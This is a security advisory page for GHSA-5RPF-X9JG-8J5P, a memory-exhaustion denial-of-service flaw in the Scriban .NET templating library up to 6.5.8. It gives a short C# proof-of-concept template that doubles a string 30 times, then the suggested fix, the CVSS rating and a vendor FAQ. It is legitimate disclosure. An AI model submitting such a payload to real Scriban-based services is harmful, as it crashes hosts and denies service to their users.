GHSA-5RPF-X9JG-8J5P

TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.

Proof of Concept (PoC):
The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.

using Scriban;

string maliciousTemplate =
    @"
        {{
            a = ""A""
            for i in 1..30
                a = a + a
            end
            a
        }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
    template.Render(context);
}
catch (Exception ex)
{
    Console.WriteLine("\nException: " + ex.Message);
}

Impact:
An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).

Suggested Fix:
Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).

public int LimitToString { get; set; } = 1048576; 

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

GHSA-5RPF-X9JG-8J5P has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.6.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-5RPF-X9JG-8J5P? GHSA-5RPF-X9JG-8J5P is a medium-severity allocation of resources without limits or throttling vulnerability in scriban (nuget), affecting versions <= 6.5.8. It is fixed in 6.6.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is GHSA-5RPF-X9JG-8J5P? GHSA-5RPF-X9JG-8J5P has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of scriban are affected by GHSA-5RPF-X9JG-8J5P? scriban (nuget) versions <= 6.5.8 is affected.
4. Is there a fix for GHSA-5RPF-X9JG-8J5P? Yes. GHSA-5RPF-X9JG-8J5P is fixed in 6.6.0. Upgrade to this version or later.
5. Is GHSA-5RPF-X9JG-8J5P exploitable, and should I be worried? Whether GHSA-5RPF-X9JG-8J5P is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-5RPF-X9JG-8J5P is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-5RPF-X9JG-8J5P? Upgrade scriban to 6.6.0 or later.